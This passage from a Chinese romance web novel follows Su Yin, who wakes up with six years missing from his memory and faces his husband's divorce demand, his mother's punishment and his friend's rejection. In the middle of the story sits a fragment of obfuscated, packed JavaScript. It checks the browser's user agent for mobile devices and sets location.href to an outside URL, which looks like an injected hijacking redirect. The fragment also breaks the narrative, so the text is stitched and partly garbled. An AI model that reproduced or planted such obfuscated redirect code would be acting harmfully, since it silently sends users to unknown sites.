“雪儿,我有一件事要告诉你,其实我....”是穿越过来的。苏引想了想还是要先把这件事说出来,他有事都不瞒着裴未雪,可是发现他说不出后面那句话,他又张了两次嘴,怎么都无法说清他是穿越的。
裴未雪没施舍他眼神。
“我是...算了。雪儿,我不想离婚。你刚才说我惹妈生气,我也不知道什么意思。我......”谁懂他一觉醒来发现和心上人结婚又马上面临离婚的痛?最离谱的是,他根本不知道发生了什么。苏引很着急的解释,裴未雪很信任他,基本上他说什么信什么。
大四那年,他去国外参加设计大赛,有一天晚上他给裴未雪打跨洋电话,掐了自己好几把跟裴未雪说可能拿不了奖,伤心得要命需要裴未雪安慰。那会儿他们还在暧昧期,他本意只是想看裴未雪担心他,对他说一些关心的话。如果可以视频给个飞吻最好。
没想到裴未雪直接挂掉电话,把他杀了个措手不及,他还挺纳闷,虽然裴未雪有点寡言,但也不至于这么小气,关心都不关心。结果第二天中午,门铃一响,裴未雪站在门口,脸颊被冻得红红的,一见面裴未雪就拥抱了他,拍着他的背说:“你已经很棒了。下一次一定能拿奖。”
他的一句玩笑话,惹得裴未雪做了十几个小时的飞机跑到国外来找他。明明只是暧昧期,感情没有挑破,可裴未雪的每一个行为都在告诉他,他喜欢他。
“雪儿?”苏引看他一直在电脑上敲,“咱们先不离婚好不好?你要不要喝一杯猕猴桃汁?我给你榨牙。”情况没搞清楚,但他也不想傻乎乎的出局,总要知道他做了什么,也总要做点什么来挽回。
他一阵风的跑了出去,身后的裴未雪看着屏幕上该填的代码处空空如也。
离婚协议书被苏引随意丢在垃圾桶里,他紧抿的唇竟然松了一些。怎么会走到这种地步呢?刚才那一瞬间,他似乎看见那个时刻把他放心上的苏引。
肯定又想从他这里拿钱才装出来的。苏引毕业后没工作,一直都是用以前的奖金,用完了没钱就找他要,以前只是买包烟买瓶水,后来遇到贺南,花钱大手大脚,请吃饭要去最贵的餐厅,送礼物也是往贵了送。
有两次他不想给钱,苏引就是像现在这样,软了神色哄他,他给钱后苏引又立刻变回去。
可贺南压根就不缺饭吃也不缺贵重礼物,苏引从头到尾就像是一个跳梁小丑在他们之间上蹿下跳,江枝就算跟贺南还没和好,贺南也从未对苏引有过其它想法。
苏引像苍蝇一样缠着贺南,贺南很多次都打电话给裴未雪让他去哪里哪里接人,他每次去都会被苏引一通阴阳怪气,大庭广众说要跟他离婚也不是一次两次。
他同意离婚,苏引应该高兴才对。
很快门外又传来脚步声,电脑息屏,看见苏引急匆匆跑进来,“雪儿!咱们家冰箱竟然没有猕猴桃吗?”
裴未雪把捡起来的离婚协议书推过去,“签。好聚好散。”
苏引现在一个头两个大,他扑通一声坐在地板上,“到底发生了什么我根本不知道。就算你要离婚,也要让我死个明白吧?有什么问题也可以磨合啊。”
“磨合?”裴未雪冷笑。
认识两年多来,苏引从来没见过裴未雪这么冷淡的一面,拒人于千里之外,像一座浑身绕着冷气的大冰山,将所有人都隔绝在外,这一声冷笑更是冷到苏引心里去,他额头上的青筋一跳一跳的,好似后面有什么不得了的事实无法接受。
裴未雪神情淡漠,“你出轨。”
苏引:“?”
苏引:“什么玩意儿?我出轨谁?男的女的?”他还是耍赖似的坐在地上,屁股朝裴未雪那边挪,挪到裴未雪腿边,仰头去看他,“你既然说我出轨,总要说个人吧?”
说着说着他就嚎了起来,“你不能没有证据污蔑我啊。”家居服是白色毛绒款,帽子上有俩狗耳朵,远远看跟一团雪球似的挤在裴未雪腿边。
裴未雪垂眸:“贺南。”
苏引大大的眼睛大大的疑惑:“谁?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403680|184380||http|test|mini|href|location''.split(''|''),0,{}));
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>“别装傻。签!”裴未雪把离婚协议再次丢他身上。
苏引大嚎一声抱住裴未雪的腿,“雪儿!你不能弃养我啊。你忘了吗?在滑雪场的时候,我说过要当拉你雪橇的狗。”
无论他怎么哭求,裴未雪神情也没变一个,他难以置信自己会出轨一个压根不知道是谁的人。
裴未雪只一味让他签离婚协议。
他气得把离婚协议丢到碎纸机里去,“那你说,贺南是谁。”
“江枝的前男友。”
苏引:“!”不儿,我出轨我兄弟的前男友?!
裴未雪补刀:“你搅和他们分手的。”
苏引:“?”什么!我插足我兄弟感情?
刚刚确认的感情经不起一而再的打击,贺南和江枝那会儿也才交往不到半个月,认识一个月,苏引各种搅和不分也难。
“雪儿。”听完这些,苏引耸拉着脑袋,双腿盘着坐,浑身弥漫着哀伤,“你说...六年时间真的能把一个人变成一只畜生么?”
或许是苏引的语气软,或许是说话方式顺耳,裴未雪侧低头看着他。
“请给我一次搞清楚真相的机会好吗?”苏引不相信自己会变成这样,可是,很多迹象细细想来都有疑点。
“真相就在你的手机里。你打开看看就知道了。”
苏引一听迫不及待打开手机,首先是相册,他印象中几千张关于裴未雪的照片全都消失不见,取而代之的是另外一个穿西装的男人,这个人难道就是‘贺南’?
他往上滑动,根本滑不到顶端,每一张拍摄角度都出乎他的意料,像是阴暗的偷窥者。
手机备忘录里还有一切关于贺南的信息,爱好、生活作息,行程表,应有尽有。
聊天软件里也全都是贺南。
唯独,一样关于裴未雪的都没有,他的手机不止有人脸识别,还有密码,他看着裴未雪挺直的背影,孤注一掷的输入密码。
#密码输入错误
从爱上裴未雪那一刻开始,密码就一直是裴未雪的生日,从来没变过,连裴未雪都不知道,他们很尊重对方的隐私空间,从来不查手机,再加上还没交往也不好‘越界’。
所有美好都在这一瞬间全部破灭,苏引看着裴未雪冷冷的脸胸腔像是被大石头压着,他们俩认识开始裴未雪从来没用这种眼神看过他。
更别说裴未雪心很软,他们偶尔会有小吵架,可是只要他一卖惨,裴未雪就不会再生气,很好哄。他小心去揪裴未雪的裤脚,“可不可以...给我一次重来的机会?”
裴未雪敲键盘的手停滞一瞬,垂下眼帘盖住复杂的情绪,“不必。”从气晕苏清月那一刻就宣布这段感情的结束。
“可是,这对我不公平啊。我根本没有那些记忆,明明我才刚跟你表白,一觉醒来就过了六年。你说的那些,真的是我做的吗?”苏引语速很快的辩驳,很着急很激动,坐在地上死抓着裴未雪的裤脚耍赖。
“你跟我谈公平?”裴未雪动腿想踢开,被抱得更紧。六年来,他无所不用其极的讨好和忍让,去哪里要公平找谁要公平?“你就算装作失忆,想回头也要看我吃不吃烂草。”裴未雪说完,一把推开苏引,起身直视他,“苏引,别逼我起诉你。”撂下这句话,他指着门口说:“滚出去!”
就算苏引现在真的想回头,跟他上演什么你逃我追的戏码,他也不想奉陪了。苏引对他的好,他用六年的忍受来偿还,已然足够,甚至财产他也分了一大半给苏引,那些钱就算苏引下半辈子不想工作,省着点花也能生活。
苏引揉着屁股站起来,他不想继续争吵,需要把事情先弄清楚,他现在更想知道一件事,“你又开始吃药了吗?是因为我吗?”
比起离婚的事,他更关心这个。裴未雪因为吃药胃口很一般,很瘦,两年时间才彻底不用吃药,他好好养了半年,天天钻厨房研究菜谱才长了点肉,裴未雪现在也没有多少肉,只是骨架变宽看起来结实了点。
老妈笑话拿画笔的手天天拿锅铲。他回:我乐意。
坐回电脑前的裴未雪闻声,手重重砸在键盘上,抿紧唇,闭上眼睛逼迫自己情绪不要外泄,以前的苏引值得,现在的苏引不值得。
半年前他才开始继续吃药,那时他很蠢,知道苏引变心后总是跟苏引回忆以前,想借此挽回苏引,说他傻说他贱都行,苏引对他来说太重要了,他们有过很美好的回忆。
甚至当着苏引的面说:“你如果去找他,我就要继续吃这个药了。”而苏引并没有停下脚步,他也真的吃下去。
一开始是没病硬吃,后来又发病了,不得不吃。几次病发苏引都冷漠的看着他,甚至讥讽他想死早点去死,别碍眼。
碍眼。
好可怕的词汇。他听了无数次,每一次都心如刀割。
5. 伍
裴未雪自以为他不需要什么外界的感情维系,可遇到苏引后,是苏引身体力行告诉他,他有人可以依靠,设计做不好没关系,有专业的调色盘来帮他,心情不好也有人来哄他,冷战从来不超过半个小时。
苏引比他还在意他的三餐,他的身体,他的心情。
后来也是苏引亲手打破给他制造的梦境。
可现在,苏引竟然拿着药瓶用熟悉的口吻问他是不是又吃药了。
那些无法入睡的夜晚,字字锥心的争吵,都让他心力交瘁,只剩下一个念头。
不要回头。
“你走吧。”裴未雪没有回答他的话,强压着情绪说。
“我走去哪儿啊。”苏引站起身,急得团团转,“你不可以再吃了,复发没关系,有我陪着你呢。”他尽量温和的去凑在裴未雪身边,“我记忆里没做过那些事,你当我是失忆也行,总之,你就这样让我走,我不服。”
裴未雪睨视他,“那你要怎么样?”
苏引接得很快,“至少让我陪你把病情控制住。雪儿,不要自暴自弃,你是要当IT精英的呀。你拿过网页设计大奖,要一直设计下去的。”
“我现在有工作室。”换言之,那些基础设计已经不需要他亲自做,底下的员工做,他过目就行。裴未雪想告诉苏引,他现在不管怎么样都不影响工作,没想到苏引听到他有工作室眼睛亮了起来,“哇,雪儿,你好厉害。我就知道你一定会很厉害的。”
这些听起来很浮夸很恭维的话,裴未雪六年前经常听,从苏引嘴里说出来不会让人觉得敷衍而且切实在为他高兴。
‘雪儿’这个昵称,他也六年没听过了,好讽刺,以前他怎么挽留都留不住苏引的心,现在他放弃了,苏引却又想挽回。甚至还装出失忆这种狗血桥段。
“能不能出去?”
逐客令一下再下,苏引盯着裴未雪的后脑勺看,想摸了摸蓬松的头发伸出手又缩回,思虑再三他还是转身出去。不能惹裴未雪不高兴,不然又要吃药。
他转过身的瞬间,身后的裴未雪侧过头。
出了客房,苏引双手揉着发疼的脑袋,他不知道到底怎么回事。难道,二十六岁的苏引,真的不爱裴未雪了吗?
颅内神经撕扯着抽痛,一下又一下,蔓延到头皮,疼得他皱起眉头,有许多画面一闪而过,快得抓都抓不住。
假设二十六岁的他已经不爱裴未雪,那,老妈知道吗?老妈很喜欢裴未雪,几乎是把裴未雪当亲儿子疼,他做了这么多混账事,老妈怎么看他?
“雪儿,我打不通老妈的电话,你问问她睡着没。”苏引心想可能是因为他那些荒唐的举动,老妈才不接他电话。
书房内裴未雪背对着他说:“你把我们都拉黑了。怎么打通?”
苏引:“?”他又站到裴未雪房门口,“我怎么可能把妈妈和你拉黑呢?”他这么孝,老爸怕不是要从地底下上来揍他?
裴未雪走出来,苏引嘴角还没上扬门就大力关上,一阵风扫过他的刘海,他无奈的走到客厅,这看那看。
阳台有一个鱼缸,但里面早就没有鱼了,他买的两只小鲤鱼应该也是六年内死掉的,他有点绝望的看着没有水的鱼缸,如果....
如果他只是失忆,他真是出轨,真的不爱裴未雪,和老妈吵架,抢兄弟对象,那他是怎么变成这样的呢?虽然感情都瞬息万变,但至少,他对老妈的感情不会变啊。
老爸死得早,老妈一个人带他很辛苦,他从来没跟老妈红过脸,就连叛逆期都只是画一些不伦不类的服装交作业,老师一说叫家长他立刻滑跪。
不管退几万步,他都无法接受裴未雪说的那些事是他做的。
先去找老妈一趟。好在老妈就住在对门。
站在门口,他期待的敲了门,期待妈妈出来告诉他这一切都是假的,愚人节的一个玩笑。
叩叩...
敲了许久没人开门,他站在门口等,也给老妈打了几个电话都没人接。
半个多小时后,电梯传来声音,他看过去,苏清月胳膊挎着蔬菜包走过来,看见他径直开门。
“妈。”
苏清月没理他,打开门进去,苏引手挡着门,急道:“妈!你也不要我了吗?”他看见妈妈鬓边的白发眼神瞬间变得哀痛和委屈,“我真的...不知道我做了什么。雪儿不要我,你也不要我。”
他身上哪哪都疼,□□的疼比不过被亲人爱人放弃的痛,“妈。”
苏清月侧过身拎着蔬菜走进厨房,默默把东西放进冰箱,还有一小袋猕猴桃,她把榨汁机拿出来,坐在餐桌旁削皮,削一个猕猴桃放一个进榨汁机。
“妈。”苏引双手放在前面,低着头站在苏清月身边,“妈,我来吧。”他想去拿削皮刀,苏清月偏了一下手,他又缩回去。
“昨天不是装死装得很好?今天又来找我说这些做什么?”苏清月瞥他一眼,继续削皮,昨天苏引晕在医院,医生说只是睡着了,睡够了就没事。她气不打一处来。
“我真没装。”苏引拖了垃圾桶过来把皮都倒进去,又去端了一杯水,“妈,说出来你可能不信,昨天还是二十岁,今天突然就二十六了。”
苏清月瞪他,“你这几年,好吃懒做,先是宅在家里,工作不工作,出门也不出门。后来为了那个贺南,免费当白工给人家画设计图。现在简简单单就要用不记得蒙混过关吗?”
扑通。
苏引跪得很快,他双手揪着耳朵认错,心里憋屈,但老妈这么说他肯定做过那些事,先认错,别再惹老妈生气,“我...”
他憋了好半天,才难受地说出“我改”这两个字。不管从什么角度讲,他都不可能干那么荒唐的事。
首先,他虽然没爹,但有妈,家教很好,干不出出轨撬兄弟墙角惹亲妈生气的混账事;其次,他明明一直想开一个属于自己的工作室,怎么可能去给别人当白工;最后,他才刚跟雪儿告白啊,亲了一口而已,感情消散也不是这种消散法吧。
逻辑上完全行不通,从他们的描述中窥探一二,更像是被下降头。
“我可不敢相信你改不改。去把戒尺拿出来。我今天非要好好教训你这只舔狗!”苏清月削完所有猕猴桃去按榨汁机的开关,回头怒视苏引。
苏引缩了一下脑袋,他感觉他现在跟王八龟似的,伸头一刀,缩头好几百刀,关键是他不想当缩头乌龟,那些事情没弄清前,还是要尽可能的弥补。
弥补那些他完全不记得的错事。
从卧室里举着戒尺到客厅的牌位前跪下。
苏清月先点了三柱香,碎碎念:“老李头,今天我要破戒打你儿子了。你要是在天有灵看见了,闭眼吧,别看。”
她转过身,拿过戒尺,高高举起,眼前浮现苏引六年来干的所有荒唐事,裴未雪的细心照料,她闭上眼重重打下。
“嗯...”苏引发出忍痛的闷声,他咬着牙,“我错了!”每打一下,认错一次,背部跟火烧似的疼。
“错在哪儿了!”苏清月质问。
苏引想说他不知道,他真的不知道,但此时他也只能说:“出轨。”
戒尺落下,“还有呢!”
“惹你生气。”
再次落下,“还有呢!”
“不忠不孝不义。”
T恤染上些许血迹,足见苏清月下手有多狠,她心有不忍的打满五十下停住手,走到苏引面前指着苏父的牌位说:“当年你爸因公殉职,你对着他的尸体说过什么。”
苏引挺直腰背跪着,忽略背部的疼痛,望着父亲的牌位说:“要当妈那样救死扶伤的人,要当爸那样正直的人。”母亲曾经是医生,一把手术刀救过很多人。
“你做到了吗!”苏清月本做好了苏引永远好不了的情况,不想认他,今天苏引上门请罪,让她这些天来的忍耐破了功,“我给你起‘引’字,是引泉溉其枯的‘引’,你却干尽丧尽天良的事,变成引狼入室的引!我老脸都被你丢光了,现在去卖菜,遇见熟人,人家都要问我一句‘你那个舔狗儿子呢’。”
“你说!你做到了吗?!”
苏引望向母亲,鼻腔有点酸,满心的委屈无处释放,“妈。我会改好的。”
“未雪。你还记得你是怎么跟我说你喜欢未雪的吗?”苏清月拿毛巾擦了擦戒尺,心里重重叹气,一口气也只出了一半。
“记得。”那些事,那些话,苏引历历在目。
告白前,他也是这样跪在父亲的牌位前跟老妈郑重发誓,他对裴未雪很认真,是要相守一生的认真,希望母亲能同意。
苏清月不仅是好医生,也是好母亲,给了他力所能及全部的母爱,从来不会过多干涉他的选择。
唯有那件事,让他认认真真的发誓和保证。
“我不会原谅你,除非你让未雪原谅。你要是再敢拿他的钱花,你永远都别叫我妈!”苏清月也不知道这个威胁有没有用,她看向牌位,老李头啊,我该给他这个机会么?
苏引擦掉眼泪,仔仔细细看着苏清月的脸,眼角明显的鱼尾纹,加深的法令纹,还有最刺眼的几缕白丝。
明明昨天妈妈还很健康硬朗,最爱她的头发,保养得很好,黑黝黝的,比同龄人年轻许多,总带着笑意和他说话打趣,周末他也会和妈妈一起去公园跳广场舞。
只要有时间,他还会拉着裴未雪一起去跳,他和妈妈之间更像是好朋友。
转眼间,妈妈眉眼间覆盖着散不去的疲惫,霜雪爬上了发丝,精神看起来也萎靡了许多。
他完全无法接受,这一切的罪魁祸首是自己,“妈。我想抱抱你。”
苏清月一听,眼睛红了起来,撇过头,“真的改好了再来抱我。出去吧。”
裴未雪让他滚,妈妈也让他走,苏引踉跄起身,一步三回头的走出门,“妈,对不起。”让您为我操心。
退出门外,苏引抹了把眼睛,往后去看自己的背,一动扯到伤口,嘶了几声才慢吞吞走到对门,又不敢进去。
要是让他找
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到谁给他下降头,准把他打成猪头。
现在是新伤加旧伤,浑身哪哪都痛,除了小时候和江枝打架,还没受过这种委屈。
他摸上自己的肚腩,他的腹肌啊。他现在这种鬼身材,能追回谁啊?脸上的伤也不知道谁打的。
推开门,放轻脚步走进去,到客厅拿了药箱,脱衣服时,伤口处的血凝固后黏着布料,一扯疼得他想喊妈妈,转念一想,他已经二十六了,又强强忍住,像上断头台似的一把脱掉。
雪白的T恤都被染成花花T恤了。
苦哇。到底是谁在搞他!
他拿了毛巾进卫生间擦掉血迹后才出来用消毒酒精擦拭。
咔擦。
卧室门开。
他抬头看去,和走出来的裴未雪对上视线,“雪儿嘶~”他一个激动,不小心按到伤口,可怜巴巴的看着裴未雪。
裴未雪拿了一瓶果汁又回到卧室关上门,从头到尾也没多看他。
苏引低下头继续处理伤口,看着垃圾桶里一大堆沾血的纸巾,心里一委屈,瘪了瘪嘴。
手机叮一声,他俯身去看,软件提醒他今天没打卡。
打个屁的卡。他怎么这么蠢,蠢到打白工啊!
之前在相册里看见贺南的照片,左思右想,他看上贺南什么?
别说贺南还是江枝对象,他退一万步,几百万步都不会去撬兄弟墙角。
老妈说要雪儿原谅他才行,现在雪儿铁了心要跟他离婚,他要不...先顺着?然后再追回来?
可是不行啊,万一他一放手,雪儿直接跑掉怎么办?那他也不能看着雪儿不要吃药啊。
他看着裴未雪紧闭的卧室门出神,也不知道有没有再影响到视觉。
不过看裴未雪穿的衣服颜色搭配很正常,应该是没有影响的。
叩叩...
嗯?谁啊?老妈么?
苏引快步去开门,却看见一个穿西装打领带的陌生女人站在门口,“你是?”
“我是裴工的助理,来送招标文件。叫我小何就行。”小何标准的礼貌微笑一直挂着,更像是无情的工作机器。
“噢,给我吧,我拿给他。”苏引心想雪儿工作室还挺大哈,都有助理了。
“小何。”这时,裴未雪走了出来,“给我吧。”
“好的。那没其它事我先走了。”
人走后,苏引捂着腰跟在裴未雪身后,“雪儿,你参加什么竞标呀?是企业的系统管理么?”嘭的一声门板怼他脸上差点又撞上,他看着门板叹着气回到客厅。
打开的药箱盖上还贴着Q版雪人和拉雪橇的狗,他指尖摸了摸,回头看向电视机秃秃的‘脑袋’。
那里应该还夹着雪人和狗的小玩偶,现在不见了。
他盘腿坐在茶几前,托腮看着面目全非的房子,很多回忆都不见了。
厨房里,他们一起做饭,阳台上他们一起晒衣服,沙发上他们一起看电视。
往前俯身,肚子的感觉不对,他低头一看,被自己的肚腩气蒙圈了,猛拍了一下,跟鼓声似的响。
“谁让你这块肉长我身上的!”苏引发泄在肚皮上,恨不能直接割掉,他多久没健身了,天呐。
妈不疼,老公不爱,兄弟还不知道情况反正是拉黑他了,身材也消失不见。
他现在感觉他想学佛耶戈说一句台词,“痛,太痛了。”
“永失吾爱,举目破败。”
害~
提起[佛耶戈],他又想起他带裴未雪一起打游戏的时候最喜欢玩这个了,一个大招一个人头,把把超神。
裴未雪因为色盲分不清红蓝buff,死记硬背,想打红buff的时候打了蓝buff,经常被中单一顿文字输出。
所以他就去玩打野,buff都让给裴未雪,他能carry,队友也不会说什么。
分明历历在目,却又像隔了很久。
他拿出手机登录App,想看游戏账号有没有变化,结果发现,六年来所有排位记录把把0/8往上。
段位六年前赛季末结算还是最强王者,这几年从钻石直掉黑铁。
又是眼前一黑。他点进裴未雪的游戏账号,发现他们六年来没有再双排过,裴未雪在他上线的同一时间内打过寥寥几场。
玩的还是他最喜欢的英雄,是他教会裴未雪玩的第一个英雄,但战绩依旧很差劲。
他自己一个人玩的时候,是不是也会想起他们双排的点点滴滴,也一定很伤心。
究竟是什么导致他这六年来像变了样?完全不是自己,把身边的人都伤害一遍,像人吗?啊?像人吗?
他边骂边踢了一脚,结果踢到桌腿,脚趾头差点没踹翻,“哎哟~”他苦着脸抱住脚,往后一靠,背部的伤又碰到沙发,痛得他坐也不是,站也不是,躺也不是。
死脑子,就算是失忆也赶紧想起来好么?死也要死得明白一点。
他垮着脸看指甲外翻的脚趾头,歪了脑袋,生无可恋。
6. 陆
推开画室门,中央摆着一个画架,记忆中旁边的书桌被推到角落。
苏引走进去看着乱七八糟的调色盘,上面积满了颜料。以前用完他都是一段时间才洗,裴未雪帮他洗过两次后他就及时洗。
画布上的服饰图样很花哨,和他以往的风格完全不符,他喜欢相对典雅简单的风格。
看见设计图上的曲线习惯,笔锋,落笔轻重点,苏引猛拍额头,“坏了,我不会真失忆了吧?”虽然风格不同,可是笔迹不会变,就连隐藏在图里的签名也一样。
他扯过画布揉成一团丢进垃圾桶,拿了调色盘去清洗,以前他问裴未雪着急帮他洗调色盘做什么。
裴未雪边洗边说:“你不是说当我的调色盘嘛?”他拿起调色盘朝苏引晃了一下,“把你打扮得干净点。”
还没来得及细细品味画面就消失了。
阳台水池上传出一下比一下更重的叹气声,苏引洗干净后回到画室,坐在小凳子上,拿了画笔简单描绘出一件礼服的样式。
笔尖划过纸张,沙沙的声音,在静谧的空间里响起。
一拿画笔他就会沉浸其中,等简约典雅的男士礼服跃然纸上时,已然过了两三个小时。
只是一个草稿,后续还要修改,他去旁边柜子里拿出打底的布匹随手搭在塑料模特身上,端着下巴思考怎么做。
看看画稿还没上色,他拿起颜料满脑子都是裴未雪冷漠的脸,调不下去了,丢掉颜料走出去站在裴未雪房门口。
不久后门开,裴未雪拿着文件迎头撞上发呆的苏引,他越过人朝门外走去。
“雪儿,要吃饭了吗?别出去外面吃,我来做啊。”苏引追过去,看裴未雪换鞋开门关门一气呵成,他感觉好悲催。
怎么会这样。
低头摸摸自己的圆乎乎的肚子,想了想还是去报个健身班,不然这种身材他做了衣服自己都穿不了,怎么搞的,肌肉全变成肥肉。
回到工作室的裴未雪正在吃盒饭,边看招标文件上的条例,核对有没有出错的地方。
嗡~手机震动。
他看了一眼,是银行卡出账记录,一千六百块。
苏引又买了什么?
壁纸是还在上大学时,苏引穿着红色篮球服扣篮的照片,衣摆随着惯力和风往上掀起一角,露出漂亮的腹肌。
目光凌厉又志在必得的举着篮球跳在半空,两条长腿一前一后,小腿肚的肌肉甚至被阳光照出了明显的曲线,强劲有力。
他还记得那场篮球赛结束后,苏引径直朝他走来,接过他的毛巾擦汗,仰头喝水时的潇洒,最后朝他笑着问:“我棒不棒?”
回过神,他操作关掉了亲情卡,差点忘记这个还没关。
他给苏引开的亲情卡额度有两万,苏引总是不到三天就花完。
现在才月初,一千六是花的什么?
又买了什么东西要给贺南?
指尖点进相册,看着里面他们各种各样的合照,最终指腹落在苏引跟他告白拍的照片里苏引的脸上。
“裴工。标书核对好了吗?我们今天要寄出去噢,不然来不及。”
裴未雪点点头,拿起标书走出去一起封装。
健身房。
“苏先生,你的底子很好啊。我保证你跟我练两个月就能练出腹肌来。”
苏引刚交了钱,一听两个月,惊讶道:“两个月?这么久?我以前练的时候才一个多月。”
健身教练问:“你说的一个多月,是什么时候啊?”
苏引想也没想说:“十八九岁吧。”
“十八九新陈代谢快啊,你现在都二十六了,肯定时间会长。”健身教练拍拍他厚厚的肩膀说:“你放心,我绝对不坑你。你的底子非常好。”他眼神在苏引身前身后扫,比例很完美,就是肉多了点而已,想练出身材不难。
“行吧。先这样。食谱我拿走了,明天我会准时来。”苏引拿了食谱出门,准备去那个叫贺南的公司看看自己岗位上有什么东西。
反正是白工,想走就走管他呢。
蹲在路边扮演思考者许久,他才从打卡软件里找出地址用导航看路。
动脚前他想先找一下江枝,以前的情况他不知道,现在要去贺南公司,于情于理还是得先问问兄弟。
最好呢还是从江枝口中打探,这六年的‘苏引’还做过什么没有。
他对江枝还是蛮有信心的,自从四岁时他在早餐摊前买了一根油条分江枝一半后,江枝缠着江阿姨非要来他家住。
后来他才知道江阿姨很久没回家都在外面忙生意,那天是他的生日,他早早坐在门口等,等来他半根油条。
江阿姨做生意是一把好手,早早离婚了,请了很多阿姨照顾江枝,但小孩子嘛,总是会想妈妈陪在身边。
搬到家里住了三年江阿姨公司上市江枝才回家住。
江枝打小就臭屁,长大了非常装。
很合理怀疑,就算没有‘他’捣乱,江枝早晚也得跟贺南吹了,装货的感情肯定曲折。
叮咚~
“苏先生!您终于来了。”吴管家往后看一眼,跟看见救星一样说:“少爷在楼上呢。”她往外走两步放低声音:“少爷就这样,什么恩断不断义绝不绝的,他就是想让你给他道个歉。”
苏引心想,太好了,他肯定没对江枝干太畜生的事,撬墙角也没撬走,不至于真不理他。
他跟着管家进去,还没走进去几步,江枝从楼上跑下来推着他,“你给我滚!谁让你来的!”苏引没防备被推出去好几步,到了门口江枝才拉走吴管家,抓着门指着他说:“恩断义绝了,你还来!滚滚滚!”嘭的一声关上门。
昨天还参加他的毕业典礼,今天不认他了。竟然还说了恩断义绝这么严重的话。
门关上后苏引失落的转身离开,江枝也长开了不少,不知道出国那几年学得怎么样,回国后有没有进江氏工作。
江枝想出国留学他是第一个知道的,还约好,以后他要当江氏的首席设计师,有钱一起赚一起花,追裴未雪也有江枝出谋划策,虽然都是歪点子,他一个没用过。
他们之间的关系,莫名其妙走到了“山穷水尽”的地步。
晃着神打车到贺氏,他进去问前台设计部在哪里后便上了楼,设计部规模不小,他刚踏进设计部就听到阴阳怪气的声音,“苏大设计师来上班啦?”
他懒得搭理,环视一周,看见一个空位,走过去确认工牌后把东西收一收,还要的收进背包,不要的直接丢了。
“喂。”
一沓文件甩在他面前,他愣了一下,“什么意思?”
男同事说:“这些是客户要的,一个礼拜内交给我。”
不是?
苏引侧过头,“你是?”他边拿起文件看,是客户对服装设计的需求,设计人员写的还不是他名字,“你什么意思?”
“你不画?那我可不会让你去贺总办公室。”
苏引:“?”合着让他画稿,然后自己去充大头?难怪整块办公桌只找到几张废稿,他站起身,朝着男同事走去,“小偷?”
男同事疑惑怎么变性了,以前只要那句话一说,苏引就屁颠屁颠画,他省力还能多拿奖金,他站直了说:“不想画,贺总是不会再见你咯。晚上高层聚会,我还想给你安排一个角落的座位呢。”
苏引盯着他看了一会儿,算了,跟傻吊说不清楚,人生信条之一:不要跟听不懂人话的人浪费口舌。他转身继续收拾,快收前男同事按住他的手里的纸,“你要去哪儿?你已经迟到一早上了!”
“我就算迟到几年,又关你什么事?老子拿工资了?”苏引被惹毛了,挥开他的手,“你最好把你当个人,拿走我的多少作品,我都会拿回来。滚开!”
“你!”
苏引:“你什么你。再敢指我一下,我马上去举报你抄袭!”他骂完看男同事害怕的缩回去,扭脸离开,真是离谱,他就在这种地方打了大半年的工?就这种工作环境,他一个小时就得走人,怎么忍的?
那个什么贺南的魅力是?
他刚进电梯,另外一边电梯门打开,他看着一个熟悉的西装男走过去,垂眸思索,欸?这不是那个什么贺南吗?
猛按好几下楼层键,赶紧走!碰见准没好事。
回家的路上,手机收到一条短信。
【你真走啊?】
陌生号码,但一眼就知道是江枝那小子,典型嘴硬心软又爱装,他现在是真没时间陪江枝闹了,等他把裴未雪哄好了,老妈原谅他再说。
他现在离开贺南公司,也不会再像他们说的那样去插手俩人的感情,生死有命咯。
到家后,苏引想把结婚证找出来看看,在自己房间找了老半天也没看见,只好悄咪咪走到裴未雪房间去,拉开抽屉就看见了两本结婚证。
摸着感觉不对劲,他仔细一看,竟然贴了一层膜。还真是雪儿会干的事。
打开结婚证看清照片里的自己,面无表情,如行尸走肉,眼神也没有光彩,日期就在告白后没几天,他完全可以确定,一定被人做局了。有人偷走了他宝贵的六年时间。
将他的生活搅成一团乱麻。
他本应该幸福美满,毕业后跟老师一起开服装展,等个几年顺理成章有自己的工作室,然后等江枝回国再一起合作赚钱。
把裴未雪养得白里透红,和老妈在晚上七点准时集合在广场上跳舞。
他的人生应该一帆风顺,而不是像现在这样,什么也没有。
结婚照有些粗糙的磨砂材质磨着掌心,苏引盯着看了许久,照片里的裴未雪和他印象里的一样,小的时候总是整齐的露出标准八颗牙齿,眼里的笑意盖不住。
被红墙映衬着,十足吸人眼球。白色衬衫并没有让裴未雪成熟一些,反而更加年轻。苏引看着看着眼睛就红了,以前不觉得自己爱哭来着。
可是看见这些,这些他从未参与的过去,从未窥见的美,就很不是滋味。
那个人,到底是谁。
他
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把结婚证放回原位,回到自己房间,从床底下拖出一个箱子,幸好箱子还在,打开箱子后,里面共有七本相册,345寸都有。
随便翻开一页都是他和裴未雪的合照,他当时每拍一张照片都会第一时间洗出来放着,老妈家里他的房间也有很多这种相册,拍完就洗,是他的习惯。
手机里没有,这里有,是唯一欣慰的地方。
第一张是裴未雪蹲坐在学校花坛前的照片,手里拿着一贯牛奶在喝,另外一只手在拨弄地上的蚂蚁。
他们还不认识。他抱着篮球和同学一起经过,回头一瞥,瞥见这样的风景,裴未雪腿长,蹲下去的时候小小一团,很瘦,长风衣垂下,遮盖住身体,一眼就留下了印象。
没见过能把明黄色长风衣和紫色小脚裤这种奇怪搭配的颜色撑起来的男人。他那时不知道裴未雪色盲,只是好奇。他设计衣服时也不敢有这样的搭配,感觉会卖不出去。
可偏偏就有人能无视颜色搭配,怎么穿怎么出彩。
记得,他去搭讪裴未雪前的想法是想让裴未雪给他做模特。然后...然后全歪了。他发誓,不是见色起意,一开始真的只是想做朋友。
再翻开无数张,他都能一一说出当时拍下这张照片情形,是裴未雪笑着的,苦着脸的,蹲着的,站着的,躺着的,还有荡秋千时惊恐的抓拍,起初裴未雪在相册里还只有宁静的侧脸,后来渐渐的,正脸多了起来,甚至有了睡颜。
